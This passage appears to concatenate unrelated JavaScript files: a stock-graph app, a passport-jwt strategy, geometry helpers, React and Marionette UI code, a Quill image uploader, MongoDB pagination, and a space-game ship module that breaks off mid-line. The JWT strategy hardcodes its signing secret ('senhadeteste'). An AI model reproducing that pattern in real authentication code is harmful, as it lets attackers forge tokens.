= false; }) .error(function (error) { // User entered a non-existent stock code console.log(error); showSimpleToast('Please enter a valid stock code.'); clearUserInput(); }); } else { // User entered a stock code that is already present showSimpleToast('That stock is already on the graph.'); clearUserInput(); } } }); }) // Angular Material theme .config(function ($mdThemingProvider) { $mdThemingProvider.theme('default') .primaryPalette('amber'); }); // TODO: Invalidate form if it is loading in graph to prevent it adding false stock code like YU when user is typing it in too fast // TODO: Set other possible timeframes in tabs - currently at 6, potential for more
var dao = require('../dao/analistasDAO'); var passportJWT = require('passport-jwt'); var ExtractJwt = passportJWT.ExtractJwt; var JwtStrategy = passportJWT.Strategy; var jwtOptions = {}; jwtOptions.jwtFromRequest = ExtractJwt.fromAuthHeaderAsBearerToken(); jwtOptions.secretOrKey = 'senhadeteste'; var strategy = new JwtStrategy(jwtOptions, function(analista, next){ dao.pegaAnalista(analista,function(analista){ if(analista){ next(null, analista); }else{ next(null,false); } }) }); module.exports = strategy;
function linePlaneIntersect(planeNormal, planePoint, linePointOne, linePointTwo){ //solve for d = ( (planePoint - linePointOne) dot planeNormal ) / (vector_in_direction_of_line dot planeNormal) //from https://en.wikipedia.org/wiki/Line%E2%80%93plane_intersection let lineVector = []; for(let i = 0; i<linePointOne.length; i++){ lineVector.push(linePointTwo[i] - linePointOne[i]); } let denom = dotProduct(lineVector, planeNormal); if (denom === 0) return [10000,10000,10000]; //line/plane are parallel, return a value guaranteed to be off-screen let difference = []; for(let i = 0; i<linePointOne.length; i++){ difference.push(planePoint[i] - linePointTwo[i]); } let numerator = dotProduct(difference, planeNormal); if (numerator === 0) return [10000,10000,10000]; //I think this means the line is in the plane, should also be off screen? let d = numerator/denom; let intersection = []; for(let i = 0; i<linePointOne.length; i++){ intersection.push(d*lineVector[i] + linePointTwo[i]); } return intersection; } function dotProduct(v1, v2){ if(v1.length !== v2.length) console.log("different size vectors"); let sum = 0; for(let i = 0; i<v1.length; ++i){ sum += v1[i]*v2[i]; } return sum; }
WMS.module("Sheets", function(Sheets, WMS, Backbone, Marionette, $, _) { Sheets.Router = Marionette.AppRouter.extend({ appRoutes: { "sheets(/employeeId::employeeId)(/from::from)(/to::to)": "listSheets", } , header:'sheets' , permissionsMap: { 'listSheets':'sheet:list' } }); var controllers = Sheets.controllers = {} , API = { listSheets: function(id, from, to) { if (controllers.list === undefined) { controllers.list = new Sheets.List.Controller(); } id = _.isNaN(parseInt(id)) ? null : parseInt(id); to = Date.parse(to) || Date.today(); from = Date.parse(from) || Date.today().addMonths(-1); controllers.list.listSheets(id, from, to); } }; WMS.on('sheets:list', function(options) { options = (options || {}); _.defaults(options, { from: Date.today().addMonths(-1) , to : Date.today() }); var url = ['sheets']; if (options.employeeId) { url.push('/employeeId:', options.employeeId); } url.push('/from:', options.from.toString('yyyy-MM-dd')); url.push('/to:', options.to.toString('yyyy-MM-dd')); if (Backbone.history.getFragment() === url.join("")) { API.listSheets(options.employeeId, options.from, options.to); } else { WMS.navigate(url.join("")); } }); WMS.on('before:start', function() { new Sheets.Router({ controller: API }); }); });
import React, { Component } from 'react'; import AppBar from '@material-ui/core/AppBar'; import Toolbar from '@material-ui/core/Toolbar'; import Button from '@material-ui/core/Button'; import IconButton from '@material-ui/core/IconButton'; import Menu from '@material-ui/core/Menu'; import Helmet from "react-helmet"; import MenuIcon from '@material-ui/icons/Menu'; import MenuItem from '@material-ui/core/MenuItem'; import { makeStyles, useTheme } from '@material-ui/core/styles'; import useMediaQuery from '@material-ui/core/useMediaQuery'; import { withRouter } from 'react-router'; //images import logo from '../assests/logo.png'; const useStyles = makeStyles((theme) => ({ root: { flexGrow: 1, }, menuButton: { marginRight: theme.spacing(2), }, title: { flexGrow: 1, }, })); const NavBar = (props) => { const { history } = props; const [anchorE1, setAnchorE1] = React.useState(null); const open = Boolean(anchorE1); const theme = useTheme(); const isMobile = useMediaQuery(theme.breakpoints.down('xs')); const handleMenu = (event) => { setAnchorE1(event.currentTarget); }; const handleMenuClick = (pageURL) => { history.push(pageURL); setAnchorE1(null); }; return ( <div> <Helmet> <script src="https://apps.elfsight.com/p/platform.js" defer></script> </Helmet> <div className="main-nav"> <AppBar position="static" className="navBar-bg"> <Toolbar> <IconButton edge="start" color="inherit" aria-label="menu" className="redIcon" onClick={() => handleMenuClick('/')} > <img src={logo} alt="red scheduling icon" className="red-scheduling-icon"></img> </IconButton> {isMobile ? ( <> <IconButton edge="start" className="toggleMenu" color="inherit" aria-label="menu" onClick={handleMenu} > <MenuIcon/> </IconButton> <Menu id="menu-appbar" anchorE1={anchorE1} anchorOrigin={{ vertical: 'top', horizontal: 'right', }} keepMounted transformOrigin={{ vertical: 'top', horizontal: 'right', }} open={open} onClose={() => setAnchorE1(null)} > <MenuItem onClick={() => handleMenuClick('/prices')}> اسعار </MenuItem> <MenuItem onClick={() => handleMenuClick('/vcita')}> vCita </MenuItem> </Menu> </> ) : ( <> <MenuItem color="dark" className="nav-bar-font mx-3 prices" onClick={() => handleMenuClick('/prices')}> اسعار </MenuItem> <MenuItem color="dark" className="nav-bar-font mx-3 vcita" onClick={() => handleMenuClick('/vcita')}> vCita </MenuItem> <Button className="enroll-btn nav-bar-font" color="inherit"> اشترك الان <div className="elfsight-app-38d41f1d-12a1-4f33-a280-71371f5263dd"></div> </Button> </> )} </Toolbar> </AppBar> </div> </div> ); }; export default withRouter(NavBar);
import React from "react"; import PropTypes from "prop-types"; import Button from "./elements/Button"; const PurchaseButton = ({ purchased, onPurchaseClick }) => { if (purchased) { return <p className="text-muted">Purchased!</p>; } return ( <Button onClick={onPurchaseClick} color="success"> Purchase! </Button> ); }; PurchaseButton.propTypes = { purchased: PropTypes.bool.isRequired, onPurchaseClick: PropTypes.func.isRequired }; export default PurchaseButton;
import Delta from 'quill-delta'; import Emitter from '../core/emitter'; import icons from '../ui/icons'; const UPLOAD_ERROR_TEXT = '上传错误'; const host = /localhost|127\.0\.0\.1/.test(window.location.host) ? 'http://test152.suanshubang.com' : ''; const url = `${host}/zbtiku/tiku/imgupload?action=uploadimage`; function upload(file) { if (file.size / 1024 > 600) { alert('图片大小不能超过600K'); // eslint-disable-line no-alert return false; } return new Promise((resolve, reject) => { /* 创建Ajax并提交 */ const xhr = new XMLHttpRequest(); const fd = new FormData(); fd.append( 'upfile', file, file.name || `blob.${file.type.substr('image/'.length)}`, ); fd.append('type', 'ajax'); xhr.open('post', url, true); xhr.responseType = 'json'; xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); const errorTimerId = setTimeout(() => { reject(); }, 3000); xhr.addEventListener('load', e => { try { const json = e.target.response; if (json.state === 'SUCCESS' && json.url) { resolve(json.url); clearTimeout(errorTimerId); } else { reject(); } } catch (er) { reject(); } }); xhr.send(fd); }); } function uploadImage(range, files) { const promises = files.map(file => { return upload(file); }); Promise.all(promises).then( images => { const update = images.reduce((delta, image) => { return delta.insert({ image }); }, new Delta().retain(range.index).delete(range.length)); this.quill.updateContents(update, Emitter.sources.USER); this.quill.setSelection( range.index + images.length, Emitter.sources.SILENT, ); }, () => { showErrorTips(this.quill.container); }, ); } const tips = createErrorTips(UPLOAD_ERROR_TEXT); function showErrorTips(container) { tips.style.display = 'block'; if (!container.contains(tips)) { container.appendChild(tips); } setTimeout(() => { tips.style.display = 'none'; }, 3000); } function createErrorTips(text) { const div = document.createElement('div'); div.className = 'tk-upload-error-tips'; const span = document.createElement('span'); span.innerText = text; const closeButton = document.createElement('button'); closeButton.innerHTML = icons.close; div.appendChild(span); div.appendChild(closeButton); closeButton.addEventListener('click', () => { div.style.display = 'none'; }); return div; } export default uploadImage;
import aHeader from './aHeader' export { aHeader }
const _ = require('underscore'); const sanitizeParams = require('./utils/sanitizeParams'); const { prepareResponse, generateSort, generateCursorQuery } = require('./utils/query'); const aggregate = require('./aggregate'); const config = require('./config'); /** * Performs a find() query on a passed-in Mongo collection, using criteria you specify. The results * are ordered by the paginatedField. * * @param {MongoCollection} collection A collection object returned from the MongoDB library's * or the mongoist package's `db.collection(<collectionName>)` method. * @param {Object} params * -query {Object} The find query. * -limit {Number} The page size. Must be between 1 and `config.MAX_LIMIT`. * -fields {Object} Fields to query in the Mongo object format, e.g. {_id: 1, timestamp :1}. * The default is to query all fields. * -paginatedField {String} The field name to query the range for. The field must be: * 1. Orderable. We must sort by this value. If duplicate values for paginatedField field * exist, the results will be secondarily ordered by the _id. * 2. Indexed. For large collections, this should be indexed for query performance. * 3. Immutable. If the value changes between paged queries, it could appear twice. 4. Consistent. All values (except undefined and null values) must be of the same type. * The default is to use the Mongo built-in '_id' field, which satisfies the above criteria. * The only reason to NOT use the Mongo _id field is if you chose to implement your own ids. * -sortAscending {boolean} Whether to sort in ascending order by the `paginatedField`. * -sortCaseInsensitive {boolean} Whether to ignore case when sorting, in which case `paginatedField` * must be a string property. * -next {String} The value to start querying the page. * -previous {String} The value to start querying previous page. * -after {String} The _id to start querying the page. * -before {String} The _id to start querying previous page. * -hint {String} An optional index hint to provide to the mongo query * -collation {Object} An optional collation to provide to the mongo query. E.g. { locale: 'en', strength: 2 }. When null, disables the global collation. */ module.exports = async function(collection, params) { const removePaginatedFieldInResponse = params.fields && !params.fields[params.paginatedField || '_id']; let response; if (params.sortCaseInsensitive) { // For case-insensitive sorting, we need to work with an aggregation: response = aggregate( collection, Object.assign({}, params, { aggregation: params.query ? [{ $match: params.query }] : [], }) ); } else { // Need to repeat `params.paginatedField` default value ('_id') since it's set in 'sanitizeParams()' params = _.defaults(await sanitizeParams(collection, params), { query: {} }); const cursorQuery = generateCursorQuery(params); const $sort = generateSort(params); // Support both the native 'mongodb' driver and 'mongoist'. See: // https://www.npmjs.com/package/mongoist#cursor-operations const findMethod = collection.findAsCursor ? 'findAsCursor' : 'find'; const query = collection[findMethod]({ $and: [cursorQuery, params.query] }, params.fields); /** * IMPORTANT * * If using collation, check the README: * https://github.com/mixmaxhq/mongo-cursor-pagination#important-note-regarding-collation */ const isCollationNull = params.collation === null; const collation = params.collation || config.COLLATION; const collatedQuery = collation && !isCollationNull ? query.collation(collation) : query; // Query one more element to see if there's another page. const cursor = collatedQuery.sort($sort).limit(params.limit + 1); if (params.hint) cursor.hint(params.hint); const results = await cursor.toArray(); response = prepareResponse(results, params); } // Remove fields that we added to the query (such as paginatedField and _id) that the user didn't ask for. if (removePaginatedFieldInResponse) { response.results = _.map(response.results, (result) => _.omit(result, params.paginatedField)); } return response; };
const Router = require('koa-router') const router = new Router() const { PositiveIntegerValidator } = require('../../validators/validator') router.get('/v1/:id/book', async (ctx, next) => { const v = await new PositiveIntegerValidator().validate(ctx) ctx.body = { key: '1' } }) module.exports = router
/************************************* SHIP CONSTRUCTOR *************************************/ function Ship(type, amount, baseCostMetal, baseCostCrystal, baseCostFuel, armor, shield, weapon, cargo, speed, fuel) { this.type = type; this.amount = amount; this.baseCostMetal = baseCostMetal; this.baseCostCrystal = baseCostCrystal; this.baseCostFuel = baseCostFuel; this.armor = armor; this.shield = shield; this.weapon = weapon; this.cargo = cargo; this.speed = speed; this.fuel = fuel; this.objId = 'Ship'; this.dependencyArray; this.addAmount = function(am) { this.amount += am; }; this.subAmount = function(am) { if (this.amount >= am) this.amount -= am; else this.amount = 0; }; this.getPrice = function(res, quantity) { switch(res) { case 'metal': return this.baseCostMetal * quantity; break; case 'crystal': return this.baseCostCrystal * quantity; break; case 'fuel': return this.baseCostFuel * quantity; break; default: console.log('getPrice switch function in ships.js -- something went wrong'); break; } }; this.dependenciesMet = function(planet){ this.dependencyArray = planet.getDependencies(this); return this.dependencyArray[0].every(function(b) {return b === true;}); }; this.listDependencies = function(planet) { var node, textnode, tmpnode, mainnode; //if (this.dependencyArray == undefined) this.dependencyArray = planet.getDependencies(this); mainnode = document.createElement('DIV'); node = document.createElement('P'); tmpnode = "Requires: "; textnode = document.createTextNode(tmpnode); node.appendChild(textnode); mainnode.appendChild(node); for (var i = 0; i < this.dependencyArray[0].length; i++) { if (this.dependencyArray[0][i]) { node = document.createElement('P'); tmpnode = this.dependencyArray[1][i]; textnode = document.createTextNode(tmpnode); node.appendChild(textnode); node.className += ' green'; mainnode.appendChild(node); } else { node = document.createElement('P'); tmpnode = this.dependencyArray[1][i]; textnode = document.createTextNode(tmpnode); node.appendChild(textnode); node.className += ' red'; mainnode.appendChild(node); } if (i != (this.dependencyArray[0].length - 1)) { // add a comma between all items, and skip last item node = document.createElement('P'); textnode = document.createTextNode(', '); node.appendChild(textnode); mainnode.appendChild(node); } } return mainnode; }; this.hasResources = function(planet) { var metalSum, crystalSum, fuelSum; metalSum = this.baseCostMetal; crystalSum = this.baseCostCrystal; fuelSum = this.baseCostFuel; return checkResourceRequirements('metal', metalSum, planet) && checkResourceRequirements('crystal', crystalSum, planet) && checkResourceRequirements('fuel', fuelSum, planet); }; /*this.getConstructionTime = function() { return Math.floor(((((this.baseCostMetal + this.baseCostCrystal) * 360) / 1000 ) / (1 + currentPlanet.roboticsBuilding.level)) / Math.pow(2, currentPlanet.naniteBuilding.level)) * 1000; };*/ this.getConstructionTime = function() { return Math.floor(((((this.baseCostMetal + this.baseCostCrystal) * 360) / 1000 ) / (1 + currentPlanet.roboticsBuilding.level)) / Math.pow(2, currentPlanet.naniteBuilding.level)) * 1000; }; } function getMaxShips(el, ship, planet) { var metal, crystal, fuel; metal = ship.baseCostMetal != 0 ? Math.floor(planet.metal.amount / ship.baseCostMetal) : Infinity; crystal = ship.baseCostCrystal != 0 ? Math.floor(planet.crystal.amount / ship.baseCostCrystal) : Infinity; fuel = ship.baseCostFuel != 0 ? Math.floor(planet.fuel.amount / ship.baseCostFuel) : Infinity; if (el != undefined) { // called to display text on page el = document.getElementById(el); el.innerHTML = "Enter quantity (Max: " + addCommas(Math.min(metal, crystal, fuel)) + ")"; } else return Math.min(metal, crystal, fuel); // called requesting a Number for math } function addToQueue(ship, planet, shipAmount) { shipAmount = document.getElementById(shipAmount); //element var amount = Number(shipAmount.value); //amount requested var max, mAmount, cAmount, fAmount; shipAmount.value = ''; if (isNaN(amount)) return; ship = getShip(ship, planet); //ship object max = getMaxShips(undefined, ship, planet); //max ships allowed due to resources if (amount > max) amount = max; if (amount < 1) return; mAmount = ship.getPrice('metal', amount); cAmount = ship.getPrice('crystal', amount); fAmount = ship.getPrice('fuel', amount); subtractResAmount('metal', mAmount, planet); subtractResAmount('crystal', cAmount, planet); subtractResAmount('fuel', fAmount, planet); planet.queue.addShip(ship, amount); displayShips(planet); } function getShip(ship, planet) { switch(ship) { case 'Small Cargo': console.log('getting ship Small Cargo'); return planet.scargoShip; console.log('and planet.name = ', planet.name); break; case 'Large Cargo': return planet.lcargoShip; break; case 'Light Fighter': return planet.lfighterShip; break; case 'Heavy Fighter': return planet.hfighterShip; break; case 'Cruiser': return planet.cruiserShip; break; case 'Battleship': return planet.battleShip; break; case 'Bomber': return planet.bomberShip; break; case 'Destroyer': return planet.destroyerShip; break; case 'Deathstar': return planet.deathstarShip; break; case 'Colony Ship': return planet.colonyShip; break; case 'Recycler': return planet.recyclerShip; break; case 'Espionage Probe': return planet.probeShip; break; case 'Solar Satellite': return planet.satelliteShip; break; case 'Battlecruiser': return planet.battlecruiserShip; break; } } function setShipColors(planet, btn) { var shipSCargoQ = document.getElementById('ship-scargo-queue'), shipLCargoQ = document.getElementById('ship-lcargo-queue'), shipColonyQ = document.getElementById('ship-colony-queue'), shipRecyclerQ = document.getElementById('ship-recycler-queue'), shipProbeQ = document.getElementById('ship-probe-queue'), shipSatelliteQ = document.getElementById('ship-satellite-queue'), shipLFighterQ = document.getElementById('ship-lfighter-queue'), shipHFighterQ = document.getElementById('ship-hfighter-queue'), shipCruiserQ = document.getElementById('ship-cruiser-queue'), shipBattleshipQ = document.getElementById('ship-battleship-queue'), shipBomberQ = document.getElementById('ship-bomber-queue'), shipBattlecruiserQ = document.getElementById('ship-battlecruiser-queue'), shipDestroyerQ = document.getElementById('ship-destroyer-queue'), shipDeathstarQ = document.getElementById('ship-deathstar-queue'); if (btn == undefined) { shipSCargoQ.style.backgroundColor = planet.scargoShip.dependenciesMet(planet) && planet.scargoShip.hasResources(planet) ? 'green' : 'gray'; shipLCargoQ.style.backgroundColor = planet.lcargoShip.dependenciesMet(planet) && planet.lcargoShip.hasResources(planet) ? 'green' : 'gray'; shipColonyQ.style.backgroundColor = planet.colonyShip.dependenciesMet(planet) && planet.colonyShip.hasResources(planet) ? 'green' : 'gray'; shipRecyclerQ.style.backgroundColor = planet.recyclerShip.dependenciesMet(planet) && planet.recyclerShip.hasResources(planet) ? 'green' : 'gray'; shipProbeQ.style.backgroundColor = planet.probeShip.dependenciesMet(planet) && planet.probeShip.hasResources(planet) ? 'green' : 'gray'; shipSatelliteQ.style.backgroundColor = planet.satelliteShip.dependenciesMet(planet) && planet.satelliteShip.hasResources(planet) ? 'green' : 'gray'; shipLFighterQ.style.backgroundColor = planet.lfighterShip.dependenciesMet(planet) && planet.lfighterShip.hasResources(planet) ? 'green' : 'gray'; shipHFighterQ.style.backgroundColor = planet.hfighterShip.dependenciesMet(planet) && planet.hfighterShip.hasResources(planet) ? 'green' : 'gray'; shipCruiserQ.style.backgroundColor = planet.cruiserShip.dependenciesMet(planet) && planet.cruiserShip.hasResources(planet) ? 'green' : 'gray'; shipBattleshipQ.style.backgroundColor = planet.battleShip.dependenciesMet(planet) && planet.battleShip.hasResources(planet) ? 'green' : 'gray'; shipBomberQ.style.backgroundColor = planet.bomberShip.dependenciesMet(planet) && planet.bomberShip.hasResources(planet) ? 'green' : 'gray'; shipBattlecruiserQ.style.backgroundColor = planet.battlecruiserShip.dependenciesMet(planet) && planet.battlecruiserShip.hasResources(planet) ? 'green' : 'gray'; shipDestroyerQ.style.backgroundColor = planet.destroyerShip.dependenciesMet(planet) && planet.destroyerShip.hasResources(planet) ? 'green' : 'gray'; shipDeathstarQ.style.backgroundColor = planet.deathstarShip.dependenciesMet(planet) && planet.deathstarShip.hasResources(planet) ? 'green' : 'gray'; } } function displayShips(planet) { var shipInfo = document.getElementById('ship-info'), shipList = document.getElementById('ship-list'); var shipSCargo = document.getElementById('ship-scargo'), shipSCargoR = document.getElementById('ship-scargo-requirements'), shipSCargoD = document.getElementById('ship-scargo-dependencies'), shipSCargoQ = document.getElementById('ship-scargo-div'), shipLCargo = document.getElementById('ship-lcargo'), shipLCargoR = document.getElementById('ship-lcargo-requirements'), shipLCargoD = document.getElementById('ship-lcargo-dependencies'), shipLCargoQ = document.getElementById('ship-lcargo-div'), shipColony = document.getElementById('ship-colony'), shipColonyR = document.getElementById('ship-colony-requirements'), shipColonyD = document.getElementById('ship-colony-dependencies'), shipColonyQ = document.getElementById('ship-colony-div'), shipRecycler = document.getElementById('ship-recycler'), shipRecyclerR = document.getElementById('ship-recycler-requirements'), shipRecyclerD = document.getElementById('ship-recycler-dependencies'), shipRecyclerQ = document.getElementById('ship-recycler-div'), shipProbe = document.getElementById('ship-probe'), shipProbeR = document.getElementById('ship-probe-requirements'), shipProbeD = document.getElementById('ship-probe-dependencies'), shipProbeQ = document.getElementById('ship-probe-div'), shipSatellite = document.getElementById('ship-satellite'), shipSatelliteR = document.getElementById('ship-satellite-requirements'), shipSatelliteD = document.getElementById('ship-satellite-dependencies'), shipSatelliteQ = document.getElementById('ship-satellite-div'), shipLFighter = document.getElementById('ship-lfighter'), shipLFighterR = document.getElementById('ship-lfighter-requirements'), shipLFighterD = document.getElementById('ship-lfighter-dependencies'), shipLFighterQ = document.getElementById('ship-lfighter-div'), shipHFighter = document.getElementById('ship-hfighter'), shipHFighterR = document.getElementById('ship-hfighter-requirements'), shipHFighterD = document.getElementById('ship-hfighter-dependencies'), shipHFighterQ = document.getElementById('ship-hfighter-div'), shipCruiser = document.getElementById('ship-cruiser'), shipCruiserR = document.getElementById('ship-cruiser-requirements'), shipCruiserD = document.getElementById('ship-cruiser-dependencies'), shipCruiserQ = document.getElementById('ship-cruiser-div'), shipBattleship = document.getElementById('ship-battleship'), shipBattleshipR = document.getElementById('ship-battleship-requirements'), shipBattleshipD = document.getElementById('ship-battleship-dependencies'), shipBattleshipQ = document.getElementById('ship-battleship-div'), shipBomber = document.getElementById('ship-bomber'), shipBomberR = document.getElementById('ship-bomber-requirements'), shipBomberD = document.getElementById('ship-bomber-dependencies'), shipBomberQ = document.getElementById('ship-bomber-div'), shipBattlecruiser = document.getElementById('ship-battlecruiser'), shipBattlecruiserR = document.getElementById('ship-battlecruiser-requirements'), shipBattlecruiserD = document.getElementById('ship-battlecruiser-dependencies'), shipBattlecruiserQ = document.getElementById('ship-battlecruiser-div'), shipDestroyer = document.getElementById('ship-destroyer'), shipDestroyerR = document.getElementById('ship-destroyer-requirements'), shipDestroyerD = document.getElementById('ship-destroyer-dependencies'), shipDestroyerQ = document.getElementById('ship-destroyer-div'), shipDeathstar = document.getElementById('ship-deathstar'), shipDeathstarR = document.getElementById('ship-deathstar-requirements'), shipDeathstarD = document.getElementById('ship-deathstar-dependencies'), shipDeathstarQ = document.getElementById('ship-deathstar-div'); if (planet.shipyardBuilding.level < 1) { shipInfo.style.display = 'block'; shipList.style.display = 'none'; shipInfo.innerHTML = 'You must build a shipyard.'; } else { // shipyard is built shipInfo.style.display = 'none'; shipList.style.display = 'block'; shipSCargo.innerHTML = "Small Cargo (" + addCommas(planet.scargoShip.amount) + ')'; shipSCargoR.innerHTML = "Cost: " + addCommas(planet.scargoShip.baseCostMetal) + " metal, " + addCommas(planet.scargoShip.baseCostCrystal) + " crystal, " + addCommas(planet.scargoShip.baseCostFuel) + " fuel"; if (planet.scargoShip.dependenciesMet(planet)) {// no dependencies left to acquire shipSCargoQ.style.display = 'inline'; getMaxShips('ship-scargo-max', planet.scargoShip, planet); shipSCargoD.innerHTML = ''; } else {// dependencies required shipSCargoQ.style.display = 'none'; node = planet.scargoShip.listDependencies(planet); while (shipSCargoD.firstChild != null) shipSCargoD.removeChild(shipSCargoD.firstChild); shipSCargoD.appendChild(node); } shipLCargo.innerHTML = "Large Cargo (" + addCommas(planet.lcargoShip.amount) + ')'; shipLCargoR.innerHTML = "Cost: " + addCommas(planet.lcargoShip.baseCostMetal) + " metal, " + addCommas(planet.lcargoShip.baseCostCrystal) + " crystal, " + addCommas(planet.lcargoShip.baseCostFuel) + " fuel"; if (planet.lcargoShip.dependenciesMet(planet)) {// no dependencies left to acquire shipLCargoQ.style.display = 'inline'; getMaxShips('ship-lcargo-max', planet.lcargoShip, planet); shipLCargoD.innerHTML = ''; } else {// dependencies required shipLCargoQ.style.display = 'none'; node = planet.lcargoShip.listDependencies(planet); while (shipLCargoD.firstChild != null) shipLCargoD.removeChild(shipLCargoD.firstChild); shipLCargoD.appendChild(node); } shipColony.innerHTML = "Colony Ship (" + addCommas(planet.colonyShip.amount) + ')'; shipColonyR.innerHTML = "Cost: " + addCommas(planet.colonyShip.baseCostMetal) + " metal, " + addCommas(planet.colonyShip.baseCostCrystal) + " crystal, " + addCommas(planet.colonyShip.baseCostFuel) + " fuel"; if (planet.colonyShip.dependenciesMet(planet)) {// no dependencies left to acquire shipColonyQ.style.display = 'inline'; getMaxShips('ship-colony-max', planet.colonyShip, planet); shipColonyD.innerHTML = ''; } else {// dependencies required shipColonyQ.style.display = 'none'; node = planet.colonyShip.listDependencies(planet); while (shipColonyD.firstChild != null) shipColonyD.removeChild(shipColonyD.firstChild); shipColonyD.appendChild(node); } shipRecycler.innerHTML = "Recycler (" + addCommas(planet.recyclerShip.amount) + ')'; shipRecyclerR.innerHTML = "Cost: " + addCommas(planet.recyclerShip.baseCostMetal) + " metal, " + addCommas(planet.recyclerShip.baseCostCrystal) + " crystal, " + addCommas(planet.recyclerShip.baseCostFuel) + " fuel"; if (planet.recyclerShip.dependenciesMet(planet)) {// no dependencies left to acquire shipRecyclerQ.style.display = 'inline'; getMaxShips('ship-recycler-max', planet.recyclerShip, planet); shipRecyclerD.innerHTML = ''; } else {// dependencies required shipRecyclerQ.style.display = 'none'; node = planet.recyclerShip.listDependencies(planet); while (shipRecyclerD.firstChild != null) shipRecyclerD.removeChild(shipRecyclerD.firstChild); shipRecyclerD.appendChild(node); } shipProbe.innerHTML = "Espionage Probe (" + addCommas(planet.probeShip.amount) + ')'; shipProbeR.innerHTML = "Cost: " + addCommas(planet.probeShip.baseCostMetal) + " metal, " + addCommas(planet.probeShip.baseCostCrystal) + " crystal, " + addCommas(planet.probeShip.baseCostFuel) + " fuel"; if (planet.probeShip.dependenciesMet(planet)) {// no dependencies left to acquire shipProbeQ.style.display = 'inline'; getMaxShips('ship-probe-max', planet.probeShip, planet); shipProbeD.innerHTML = ''; } else {// dependencies required shipProbeQ.style.display = 'none'; node = planet.probeShip.listDependencies(planet); while (shipProbeD.firstChild != null) shipProbeD.removeChild(shipProbeD.firstChild); shipProbeD.appendChild(node); } shipSatellite.innerHTML = "Solar Satellite (" + addCommas(planet.satelliteShip.amount) + ')'; shipSatelliteR.innerHTML = "Cost: " + addCommas(planet.satelliteShip.baseCostMetal) + " metal, " + addCommas(planet.satelliteShip.baseCostCrystal) + " crystal, " + addCommas(planet.satelliteShip.baseCostFuel) + " fuel"; if (planet.satelliteShip.dependenciesMet(planet)) {// no dependencies left to acquire shipSatelliteQ.style.display = 'inline'; getMaxShips('ship-satellite-max', planet.satelliteShip, planet); shipSatelliteD.innerHTML = ''; } else {// dependencies required shipSatelliteQ.style.display = 'none'; node = planet.satelliteShip.listDependencies(planet); while (shipSatelliteD.firstChild != null) shipSatelliteD.removeChild(shipSatelliteD.firstChild); shipSatelliteD.appendChild(node); } shipLFighter.innerHTML = "Light Fighter (" + addCommas(planet.lfighterShip.amount) + ')'; shipLFighterR.innerHTML = "Cost: " + addCommas(planet.lfighterShip.baseCostMetal) + " metal, " + addCommas(planet.lfighterShip.baseCostCrystal) + " crystal, " + addCommas(planet.lfighterShip.baseCostFuel) + " fuel"; if (planet.lfighterShip.dependenciesMet(planet)) {// no dependencies left to acquire shipLFighterQ.style.display = 'inline'; getMaxShips('ship-lfighter-max', planet.lfighterShip, planet); shipLFighterD.innerHTML = ''; } else {// dependencies required shipLFighterQ.style.display = 'none'; node = planet.lfighterShip.listDependencies(planet); while (shipLFighterD.firstChild != null) shipLFighterD.removeChild(shipLFighterD.firstChild); shipLFighterD.appendChild(node); } shipHFighter.innerHTML = "Heavy Fighter (" + addCommas(planet.hfighterShip.amount) + ')'; shipHFighterR.innerHTML = "Cost: " + addCommas(planet.hfighterShip.baseCostMetal) + " metal, " + addCommas(planet.hfighterShip.baseCostCrystal) + " crystal, " + addCommas(planet.hfighterShip.baseCostFuel) + " fuel"; if (planet.hfighterShip.dependenciesMet(planet)) {// no dependencies left to acquire shipHFighterQ.style.display = 'inline'; getMaxShips('ship-hfighter-max', planet.hfighterShip, planet); shipHFighterD.innerHTML = ''; } else {// dependencies required shipHFighterQ.style.display = 'none'; node = planet.hfighterShip.listDependencies(planet); while (shipHFighterD.firstChild != null) shipHFighterD.removeChild(shipHFighterD.firstChild); shipHFighterD.appendChild(node); } shipCruiser.innerHTML = "Cruiser (" + addCommas(planet.cruiserShip.amount) + ')'; shipCruiserR.innerHTML = "Cost: " + addCommas(planet.cruiserShip.baseCostMetal) + " metal, " + addCommas(planet.cruiserShip.baseCostCrystal) + " crystal, " + addCommas(planet.cruiserShip.baseCostFuel) + " fuel"; if (planet.cruiserShip.dependenciesMet(planet)) {// no dependencies left to acquire shipCruiserQ.style.display = 'inline'; getMaxShips('ship-cruiser-max', planet.cruiserShip, planet); shipCruiserD.innerHTML = ''; } else {// dependencies required shipCruiserQ.style.display = 'none'; node = planet.cruiserShip.listDependencies(planet); while (shipCruiserD.firstChild != null) shipCruiserD.removeChild(shipCruiserD.firstChild); shipCruiserD.appendChild(node); } shipBattleship.innerHTML = "Battleship (" + addCommas(planet.battleShip.amount) + ')'; shipBattleshipR.innerHTML = "Cost: " + addCommas(planet.battleShip.baseCostMetal) + " metal, " + addCommas(planet.battleShip.baseCostCrystal) + " crystal, " + addCommas(planet.battleShip.baseCostFuel) + " fuel"; if (planet.battleShip.dependenciesMet(planet)) {// no dependencies left to acquire shipBattleshipQ.style.display = 'inline'; getMaxShips('ship-battleship-max', planet.battleShip, planet); shipBattleshipD.innerHTML = ''; } else {// dependencies required shipBattleshipQ.style.display = 'none'; node = planet.battleShip.listDependencies(planet); while (shipBattleshipD.firstChild != null) shipBattleshipD.removeChild(shipBattleshipD.firstChild); shipBattleshipD.appendChild(node); } shipBomber.innerHTML = "Bomber (" + addCommas(planet.bomberShip.amount) + ')'; shipBomberR.innerHTML = "Cost: " + addCommas(planet.bomberShip.baseCostMetal) + " metal, " + addCommas(planet.bomberShip.baseCostCrystal) + " crystal, " + addCommas(planet.bomberShip.baseCostFuel) + " fuel"; if (planet.bomberShip.dependenciesMet(planet)) {// no dependencies left to acquire shipBomberQ.style.display = 'inline'; getMaxShips('ship-bomber-max', planet.bomberShip, planet); shipBomberD.innerHTML = ''; } else {// dependencies required shipBomberQ.style.display = 'none'; node = planet.bomberShip.listDependencies(planet); while (shipBomberD.firstChild != null) shipBomberD.removeChild(shipBomberD.firstChild); shipBomberD.appendChild(node); } shipBattlecruiser.innerHTML = "Battlecruiser (" + addCommas(planet.battlecruiserShip.amount) + ')'; shipBattlecruiserR.innerHTML = "Cost: " + addCommas(planet.battlecruiserShip.baseCostMetal) + " metal, " + addCommas(planet.battlecruiserShip.baseCostCrystal) + " crystal, " + addCommas(planet.battlecruiserShip.baseCostFuel) + " fuel"; if (planet.battlecruiserShip.dependenciesMet(planet)) {// no dependencies left to acquire shipBattlecruiserQ.style.display = 'inline'; getMaxShips('ship-battlecruiser-max', planet.battlecruiserShip, planet); shipBattlecruiserD.innerHTML = ''; } else {// dependencies required shipBattlecruiserQ.style.display = 'none'; node = 